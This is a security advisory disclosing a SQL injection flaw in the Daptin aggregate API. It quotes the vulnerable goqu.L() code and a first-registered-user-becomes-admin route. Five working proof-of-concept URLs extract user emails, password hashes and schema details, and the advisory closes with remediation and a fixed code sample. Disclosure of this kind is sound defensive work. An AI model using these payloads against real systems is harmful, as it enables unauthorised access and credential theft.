SQL Injection Vulnerability in Daptin Aggregate API

SQL Injection Vulnerability in Daptin Aggregate API#

BUG_Author: security_reseacher

Affected Version: Daptin (all versions with aggregate API, commit 755f5d42 onwards, May 2025 - Present)

Vendor: Daptin GitHub Repository

Software: Daptin - Open-source headless CMS and application backend

Vulnerability File:

• server/resource/resource_aggregate.go

---

Description:#

A SQL Injection vulnerability exists in Daptin's aggregate API endpoint (/aggregate/:typename). The vulnerability occurs because user-supplied input is directly passed to goqu.L() (Literal function) without proper sanitization or validation, allowing attackers to execute arbitrary SQL queries.

1. Root Cause Analysis:#

In the file server/resource/resource_aggregate.go, the column, group, and order parameters from user requests are directly interpolated into SQL queries using goqu.L():

// Lines 139-141 in resource_aggregate.go
if strings.Index(project, " as ") > -1 {
    parts := strings.Split(project, " as ")
    projectionsAdded = append(projectionsAdded, goqu.L(parts[0]).As(parts[1]))
} else {
    projectionsAdded = append(projectionsAdded, goqu.L(project))
}

The goqu.L() function treats input as a raw SQL literal, bypassing all query parameterization and escaping mechanisms.

2. Vulnerable Parameters:#

Parameter	Location	Impact
column	Query string	Execute arbitrary SQL expressions
group	Query string	Inject into GROUP BY clause
order	Query string	Inject into ORDER BY clause

3. Exploitation Prerequisites:#

Condition	Description
Authentication	Required - Must have valid JWT token
Authorization	Required - Must have administrator privileges
First User Privilege	The first registered user on a fresh Daptin instance automatically becomes administrator

4. Attack Scenarios:#

Scenario A: Fresh Daptin Instance

1. Attacker discovers a newly deployed Daptin instance

2. Attacker registers as the first user → Automatically becomes admin

3. Attacker exploits SQL injection to extract sensitive data

Scenario B: Compromised Admin Credentials

1. Attacker obtains admin credentials through other means

2. Attacker exploits SQL injection with authenticated requests

---

Proof of Concept:#

Step 1: Register First User (Fresh Instance)#

Access the registration page:

http://<target-ip>:6336/#/login

Click "Register" and create a new account. The first registered user automatically receives administrator privileges.

Step 2: Login and Obtain JWT Token#

After registration, login with the created credentials. The JWT token will be stored in browser cookies/localStorage.

Step 3: Execute SQL Injection#

Payload 1: Extract SQLite Version

http://<target-ip>:6336/aggregate/world?column=sqlite_version()%20as%20ver

Payload 2: Extract Database File Path

http://<target-ip>:6336/aggregate/world?column=(SELECT%20file%20FROM%20pragma_database_list%20LIMIT%201)%20as%20db_path

Payload 3: Extract User Emails

http://<target-ip>:6336/aggregate/world?column=(SELECT%20email%20FROM%20user_account%20LIMIT%201)%20as%20leaked_email

Payload 4: Extract User Password Hashes

http://<target-ip>:6336/aggregate/world?column=(SELECT%20password%20FROM%20user_account%20LIMIT%201)%20as%20leaked_hash

Payload 5: Extract Table Names

http://<target-ip>:6336/aggregate/world?column=(SELECT%20name%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20LIMIT%201)%20as%20tbl

Step 4: Verify Exploitation#

Successful exploitation returns JSON data containing the injected query results:

{
  "data": [
    {
      "type": "aggregate_world",
      "id": "...",
      "attributes": {
        "__type": "aggregate_world",
        "ver": "3.42.0"
      }
    }
  ]
}

---

Impact:#

Impact Type	Description
Confidentiality	Attackers can extract any data from the database, including user credentials, API keys, and sensitive business data
Integrity	Potential data modification through advanced SQL injection techniques
Availability	Database denial of service through resource-intensive queries

---

Affected Versions:#

• Vulnerable: All versions containing server/resource/resource_aggregate.go (commit 755f5d42 onwards, dated May 24, 2025)

• Current Latest: Commit b5569c69 (vulnerable)

• Database Backend: Confirmed on SQLite; may affect other supported databases (MySQL, PostgreSQL)

---

Remediation Recommendations:#

1. Input Validation: Implement whitelist validation for column, group, and order parameters

2. Parameterized Queries: Replace goqu.L() with parameterized query methods

3. Column Name Validation: Only allow predefined column names and aggregate functions

4. Disable Subqueries: Block subquery syntax in user input

Example Fix:#

// Before (vulnerable):
projectionsAdded = append(projectionsAdded, goqu.L(project))
​
// After (secure):
allowedColumns := map[string]bool{"id": true, "name": true, "count": true}
if !allowedColumns[project] {
    return nil, errors.New("invalid column name")
}
projectionsAdded = append(projectionsAdded, goqu.C(project))